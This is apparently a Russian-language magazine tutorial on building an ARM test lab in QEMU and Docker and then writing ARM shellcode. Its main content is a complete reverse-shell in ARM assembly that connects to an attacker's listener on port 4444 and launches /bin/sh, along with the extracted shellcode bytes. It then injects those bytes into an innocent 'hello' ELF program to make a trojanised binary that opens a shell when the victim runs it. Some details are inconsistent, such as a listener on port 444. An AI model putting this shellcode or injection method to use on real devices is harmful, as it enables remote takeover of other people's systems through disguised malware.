Многие знают, как создать шеллкод для обыкновенных x86-машин. Об этом написано множество руководств, статей и книг, но многие нынешние устройства, включительно смартфоны и роутеры, используют процессоры ARM. Мы собрали всю необходимую информацию для подготовки стенда, написания и введения шеллкода для ARM-устройств. в данной статье мы рассмотрим как написать свой реверс-шелл.
СОЗДАНИЕ ВИРТУАЛЬНОЙ МАШИНЫ В QEMU
QEMU — эмулятор различных процессорных архитектур. Обычно он используется для эмуляции всего компьютера (то есть для запуска виртуальной машины), но не является необходимым для отладки отдельной программы. В Linux вы можете использовать эмуляцию пользовательского режима QEMU; этот метод будет обсуждаться в первую очередь.
Наша конечная цель — запускать скомпилированные программы на 64-битной версии ARM. Для начала вам необходимо установить сам пакет эмулятора:
sudo apt-get update
sudo apt-get install qemu qemu-user qemu-user-static
Для AArch64 устанавливаем следующие компоненты:
sudo apt install gcc-arm-linux-gnueabihf binutils-arm-linux-gnueabihf binutils-arm-linux-gnueabihf-dbg
sudo apt install gcc-aarch64-linux-gnu binutils-aarch64-linux-gnu binutils-aarch64-linux-gnu-dbg
Чтобы эмулировать процессор типа ARM64, необходимо создать две директории — deb11_inst
и deb11_start
: mkdir
. Затем перейти в deb11_inst
и скачать два файла — installer-linux
и installer-initrd.
.
Для этого используем следующие команды:
wget -O installer-linux http://http.us.debian.org/debian/dists/bullseye/main/installer-arm64/current/images/netboot/debian-installer/arm64/linux
wget -O installer-initrd.gz http://http.us.debian.org/debian/dists/bullseye/main/installer-arm64/current/images/netboot/debian-installer/arm64/initrd.gz
Дальше создаем диск для установки на него системы:
qemu-img create -f raw hda.img 20G
Создаем файл instDebARM64.
, в него необходимо записать следующий скрипт:
#!/bin/bash
qemu-system-aarch64 -M virt -m 2G -cpu cortex-a53 -smp 2 \
-kernel installer-linux \
-initrd installer-initrd.gz \
-drive if=none,file=hda.img,format=raw,id=hd \
-device virtio-blk-pci,drive=hd \
-netdev user,id=mynet \
-device virtio-net-pci,netdev=mynet \
-display gtk,gl=on \
-device virtio-gpu-pci \
-no-reboot \
-device qemu-xhci -device usb-kbd -device usb-tablet
Здесь
qemu-system-aarch64
— эмуляция полной системы для архитектуры;-M
— выбор эмулируемой машины;-m
— объем ОЗУ;-cpu
— тип эмулируемого процессора;-smp
— количество виртуальных ядер ЦП и их распределение по сокетам;-kernel
— для использования указанного образа ядра Linux;-initrd
— для загрузки Linux;netdev/
иdevice drive
— описание сетевой карты и виртуальных дисков;if
— опция указывает, через интерфейс какого типа подключен диск;file
— определяет, какой образ использовать для какого диска;format
— указывает явным образ формат дисков, не использовать автоопределение;-display
— выбор типа отображения, доступноsdl
,curses
,gtk
,none
,vga
;-no-reboot
— отмена перезагрузки.
Сохраните и запустите скрипт. Начнется классическая установка Debian 11. На первом экране вам нужно выбрать английский в качестве основного языка.
Далее необходимо выбрать UNITED STATES. Ближе к завершению установки появится ошибка.
Выберите «Продолжить» и дождитесь завершения установки Debian. Переносим образ hda.img
с установленной системой в директорию deb11_start.
Затем создаем файл debARM64.sh, в который помещаем следующий скрипт:
#!/bin/bash
qemu-system-aarch64 -M virt -m 3G -cpu cortex-a53 -smp 2 \
-kernel vmlinuz-5.10.0-8-arm64 \
-initrd initrd.img-5.10.0-8-arm64 \
-append 'root=/dev/vda2' \
-drive if=none,file=hda.img,format=raw,id=hd \
-device virtio-blk-pci,drive=hd \
-netdev user,id=mynet \
-device virtio-net-pci,netdev=mynet \
-display gtk,gl=on \
-device virtio-gpu \
-no-reboot \
-device qemu-xhci -device usb-kbd -device usb-tablet\
Щелкните правой кнопкой мыши созданный диск hda.img и смонтируйте его: «Открыть с помощью -> Подключить образ диска». На смонтированном диске нас интересуют два файла: initrd.img-5.10.0-20-arm64 и vmlinuz-5.10.0-20-arm64 (ну в общем случае initrd.img-xxxxxxx-arm64 и vmlinuz- xxxxxxx-arm64) . Версии системы должны совпадать! Запустите файл debARM64.sh:
./debARM64
Для настройки сети в скрипт debARM64.
нужно добавить строчку -net
. Эта строчка создаст еще и SSH-подключение.
Docker
Есть альтернативный вариант: эмулировать Raspberry Pi с помощью Docker. Для этого вам необходимо установить Docker:
sudo apt-get install docker.io
Затем скачать соответствующий образ:
docker pull lukechilds/dockerpi
Как только все прогрузится, вводим команду
docker run -it --name имя_для_контейнера -v $HOME/.dockerpi:/sdcard lukechilds/docker
Вы можете выбрать любое имя контейнера, я назову его ap_security. После этого Raspberry Pi начнет распаковываться и загружаться.
Итогом успешного запуска будет такое окно.
Учетные данные для входа по умолчанию: pi:raspberry. На самом деле, это все. Теперь в нашей виртуальной лаборатории есть Raspberry Pi. Чтобы выключить устройство, используйте команду sudo poweroff,
а для его запуска — docker start -ai имя_контейнера,
где имя_контейнера — это имя выбранного вами контейнера.
Установка GDB и PEDA/GEF
Установка GDB и плагина PEDA довольно проста. Для GDB используем команду
sudo apt install gdb
Для установки PEDA команды такие:
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
ПРОБУЕМ GDB И ПИШЕМ ПЕРВУЮ ПРОГРАММУ
Чтобы написать программу на ассемблере, потребуются три инструмента:
- текстовый редактор — nano;
- программа для создания объектного файла — as;
- программа для динамической привязки — ld.
Текстовый редактор — дело вкуса. Многие пишут на Vim, но мне удобнее в Nano, поэтому я буду писать код там. Программа as создает объектный файл, а ld выполняет динамическую привязку. Работать с этими программами нужно следующим образом:
- Пишем команду
as
, которая создает объектный файл с названиемsource. asm -o source. o source.
.o - Связываем объектный файл и преобразуем его в исполняемый с помощью команды
ld
.source. o -o source. bin
В каждом файле, содержащем ассемблерный код, должна быть точка, с которой начинается программа. Это выглядит так:
_start:
Эта точка определяется как глобальное имя для всей программы. Каждый оператор имеет следующий синтаксис:
<обозначение:> <инструкция> @ комментарий
Первая программа
В первой программе, по классике, реализован вывод приветственной строчки — H3ll0, ][akep!:
.global _start
_start:
mov r7, #4 @ номер системного вызова
mov r0, #1 @ вывод - stdout
mov r2, #13 @ длина строки
ldr r1, =string @ строка находится на метке string
swi 0 @ системный вызов
mov r7, #1 @ выход
swi 0
.data
string:
.ascii "H3ll0, ][akep!\n"
Здесь
-
-
r7
— номер процедуры;r0
определяет поток (stdin/
);stdout/ stderr r2
— количество выводимых символов;r1
хранит адрес строки.
-
Все это схоже с ассемблером для i386. В ARM регистры для взаимодействия такие:
-
-
r7
— номер системного вызова;r0
— аргумент 1;r1
— аргумент 2;r2
— аргумент 3;r3
— аргумент 4;r4
— аргумент 5;r5
— аргумент 6;r0
— возвращаемое значение или код ошибки.
-
Информацию обо всех системных вызовах можно найти в помощи программы J0llyTr0LLz. Там же описано, что именно должно быть в регистрах. Вы можете скачать программу на GitHubи научиться с ней работать.
Компилируем приложение и запускаем.
as -g proga1.asm -o proga1.o
ld proga1.o -o proga1.bin
Здесь -g
— ключ для включения отладочной информации. После запуска увидим следующее:
$ file proga1.bin
proga1.bin: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, not stripped
./proga1.bin
H3ll0, ][akep!
Попробуем продебажить это приложение.
ПЕРВЫЙ ОПЫТ В ОТЛАДКЕ
Запускаем GDB и загружаем в него бинарный файл, после чего переходим к разделу start
:
$ gdb
gef➤ file proga1.bin
Reading symbols from proga1.bin...done.
gef➤ disassemble _start
Dump of assembler code for function _start:
0x00010074 <+0>: mov r7, #4
0x00010078 <+4>: mov r0, #1
0x0001007c <+8>: mov r2, #19
0x00010080 <+12>: ldr r1, [pc, #8] ; 0x10090 <_start+28>
0x00010084 <+16>: svc 0x00000000
0x00010088 <+20>: mov r7, #1
0x0001008c <+24>: svc 0x00000000
0x00010090 <+28>: muleq r2, r4, r0
End of assembler dump.
Поставим точку останова на первой инструкции и запустим программу:
b *_start
r
Окно отладки GDB-GEF выглядит так.
Шпаргалку по GDB-командам можно найти вдокументации, опубликованной на сайте Darkdust.
На первом шаге все обнулено:
$r0 : 0x0
$r1 : 0x0
$r2 : 0x0
$r3 : 0x0
$r4 : 0x0
$r5 : 0x0
$r6 : 0x0
$r7 : 0x0
$r8 : 0x0
$r9 : 0x0
$r10 : 0x0
$r11 : 0x0
$r12 : 0x0
$sp : 0xbefffce0 → 0x00000001
$lr : 0x0
$pc : 0x00010074 → <_start+0> mov r7, #4
$cpsr: [negative zero carry overflow interrupt fast thumb]
С помощью команды ni мы переходим непосредственно к системному вызову. Если мы нажмем Enter после введенной команды, команда будет выполнена снова.
Смотрим, что у нас в регистрах:
$r0 : 0x1
$r1 : 0x00020094 → <string+0> stclvs 3, cr3, [r12], #-288 ; 0xfffffee0
$r2 : 0x13
$r3 : 0x0
$r4 : 0x0
$r5 : 0x0
$r6 : 0x0
$r7 : 0x4
$r8 : 0x0
$r9 : 0x0
$r10 : 0x0
$r11 : 0x0
$r12 : 0x0
$sp : 0xbefffce0 → 0x00000001
$lr : 0x0
$pc : 0x00010084 → <_start+16> svc 0x00000000
$cpsr: [negative zero carry overflow interrupt fast thumb]
Как можно заметить, везде лежат нужные нам значения. Посмотрим, что хранится в регистре r1
.
gef➤ x/s 0x00020094
0x20094: "H3ll0, ][akep!\nA\021"
Пройдем дальше и найдем вывод сообщения:
gef➤ n
H3ll0, ][akep!
Сообщение вывелось.
ПИШЕМ РЕВЕРС-ШЕЛЛ
Для написания реверс‑шелла нам понадобятся следующие системные вызовы:
-
-
socket
— для создания сервера;connect
— для подключения к жертве;dup2
— для копированияstdin/
;stdout/ stderr execve
— для запуска/
.bin/ sh
-
В целом ничего необычного, все стандартно. Нужные системные вызовы я буду искать в программе J0llyTr0LLz.
Для socket(
= socket(
:
-
- В регистре
r7
будет лежать значение0x119
. - В регистре
r0
значение 2, потому что мы используемPF_INET
, семейство протоколов IP. - В регистре
r1
находится 1 —SOCK_STREAM
(TCP
).
- В регистре
Первая часть кода получится такой:
Дескриптор сокета будет храниться в регистре r0. Чтобы сохранить его, мы просто перенесем его в другой реестр, чтобы иметь возможность использовать его позже. Я выбрал регистр r4.
-
-
-
r7
=0x11b
;r0
=sockid
=r4
;r1
=&sockaddr
;r2
=16
.
-
-
Здесь sockaddr
— структура, в которой будет содержаться порт, IP-адрес и используемый протокол. В нашем случае это TCP.
struct:
.ascii "\x02\xff" @ AF_INET
.ascii "\x11\x5c" @ port = 4444
.byte xxx,xxx,xxx,xxx @ IP address
В итоге получаем такой фрагмент кода:
mov r4, r0
adr r1, struct
mov r2, #16 @ struct length
add r7, #2 @ 281 + 2
swi 0
struct:
.ascii "\x02\xff" @ AF_INET
.ascii "\x11\x5c" @ port = 4444
.byte xxx,xxx,xxx,xxx @ IP address
Команда adr
получает какой‑либо адрес, в ассемблере i386 есть аналогичная инструкция lea
.
Длина рассчитывается следующим образом: 2 байта — порт, 2 байта — AF_INET, 4 байта — IP-адрес и 8 байт — заполнение. Поэтому регистр r2 будет заполнен числом 16. Регистр r7 никак не изменился с момента последнего вызова, поэтому просто добавляем 2.
Ниже приведена конструкция dup2(sockid, stdin/stdout/stderr). Номер системного вызова dup2() — 0x3f. Значение sockid хранится в регистре r4, stdin/stdout/stderr равны 0/1/2 соответственно. Мы получаем следующее:
-
-
r7
=0x3f
;r0
=r4
;r1
=0/
.1/ 2
-
Реализация этого шага будет выглядеть таким образом:
@ dup2(sockid , 0)
mov r0, r4 @ sockid
sub r1, r1 @ 0 - stdin
sub r7, r7
mov r7, #0x3f @ dup2
swi 0
@ dup2(sockid , 1)
mov r0, r4 @ sockid
add r1, #1 @ 1 - stdout
swi 0
@ dup2(sockid, 2)
mov r0, r4 @ sockid
add r1, #1 @ 2 - stderr
swi 0
Последний шаг: получаем шелл. Тут, в принципе, классика: execve(
. В секции данных пропишем следующую строку:
binsh:
.ascii "/bin/sh"
В r0
будет находиться строка /
, r1
и r2
— нулевые, а в r7
— значение 11
. Таким образом, код примет следующий вид:
adr r0, binsh
sub r2, r2
sub r1, r1
mov r7, #11
svc 0
В итоге полный код выглядит так:
.global _start
_start:
mov r0, #2
mov r1, #1
sub r2, r2
mov r7, #200
add r7, #81
swi 0 @ socket(2, 1, 0)
mov r4, r0
adr r1, struct
mov r2, #16 @ struct length
add r7, #2 @ 281 + 2
swi 0
@ dup2(sockid , 0)
mov r0, r4 @ sockid
sub r1, r1 @ 0 - stdin
sub r7, r7
mov r7, #0x3f @ dup2
swi 0
@ dup2(sockid , 1)
mov r0, r4 @ sockid
add r1, #1 @ 1 - stdout
swi 0
@ dup2(sockid, 2)
mov r0, r4 @ sockid
add r1, #1 @ 2 - stderr
swi 0
adr r0, binsh
sub r2, r2
sub r1, r1
mov r7, #11
svc 0
struct:
.ascii "\x02\xff" @ AF_INET
.ascii "\x11\x5c" @ port = 4444
.byte xxx,xxx,xxx,xxx @ IP address
binsh:
.ascii "/bin/sh"
Компилируем и проверяем на каком‑нибудь таргете. На стороне хакера открываем TCP-подключение:
$ nc -lvnp 444
Listening on 0.0.0.0 4444
Компилируем и запускаем приложение у жертвы:
as rs.asm -o rs.o
ld rs.o -o rs.bin
./rs.bin
На стороне хакера видим следующее:
Connection received on xxx.xxx.xxx.xxx xxxxx
$ whoami
whoami
pi
ИНЪЕКЦИЯ ШЕЛЛ-КОДА
После внедрения шеллкода можно считать, что мы создали полноценную вредоносную программу. Чтобы получить байты шеллкода, проанализируйте двоичный файл:
objcopy -O binary rs.bin rs_bytes.bin
Этой командой мы вытащим основную часть бинаря, то есть сам шелл‑код:
$ xxd rs_bytes.bin
00000000: 0200 a0e3 0110 a0e3 0220 42e0 c870 a0e3 ......... B..p..
00000010: 5170 87e2 0100 00ef 0040 a0e1 3410 8fe2 Qp.......@..4...
00000020: 1020 a0e3 0270 87e2 0100 00ef 0400 a0e1 . ...p..........
00000030: 0110 41e0 0770 47e0 3f70 a0e3 0000 00ef ..A..pG.?p......
00000040: 0400 a0e1 0110 81e2 0000 00ef 0400 a0e1 ................
00000050: 0110 81e2 0000 00ef 02ff 115c 0a21 4507 ............!E.
Затем проведем инъекцию с помощью программы KillerQueen; описание работы программы можно найти на ее странице на GitHub.
На стороне пользователя мы задействуем незамысловатую программу:
#include <stdio.h>
int main()
{
puts("Hello, ][akep!");
return 0;
Скомпилирую ее в Raspberry Pi:
$ gcc hello_xakep.c -o hello_xakep.bin -no-pie
$ file hello_xakep.bin
hello_xaker.bin: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=1d0e0528aa357a184a069a0ef77b138b89fed21b, not stripped
Запускаем KillerQueen и вставляем туда сам шелл‑код:
0200 a0e3 0110 a0e3 0220 42e0 c870 a0e3 5170 87e2 0100 00ef 0040 a0e1 3410 8fe21020 a0e3 0270 87e2 0100 00ef 0400 a0e10110 41e0 0770 47e0 3f70 a0e3 0000 00ef 0400 a0e1 0110 81e2 0000 00ef 0400 a0e1 0110 81e2 0000 00ef 02ff 115c 0a21 4507
Далее загружаем в нее подставную программу hello_xakep.
.
Логи подтверждают, что прога загружена.
Выберите Инструменты → ELFInject. После этого у программы появится новая точка входа и мы увидим сообщение о том, что шеллкод внедрен.
Посмотрим, как это выглядит в IDA Pro.
Как видите, здесь теперь появился новый раздел автозагрузки и программа сначала перейдет к нему. А там лежит обратная оболочка.
Запускаем зараженную программу на устройстве жертвы:
$ nc -lvnp 4444
Connection received on xxx.xxx.xxx.xxx xxxxx
$ whoami
whoami
pi
ВЫВОДЫ
Мы научились писать свою обратную оболочку для устройства на базе ARM. Изыскания в области безопасности ARM-систем очень актуальны, основным образом, в связи с тем, что возникает все более устройств на базе этих процессоров. Конечно, показанный в статье опыт достаточно прост, но, как говорили античные мудрецы, внушительный путь наступает с одного шага.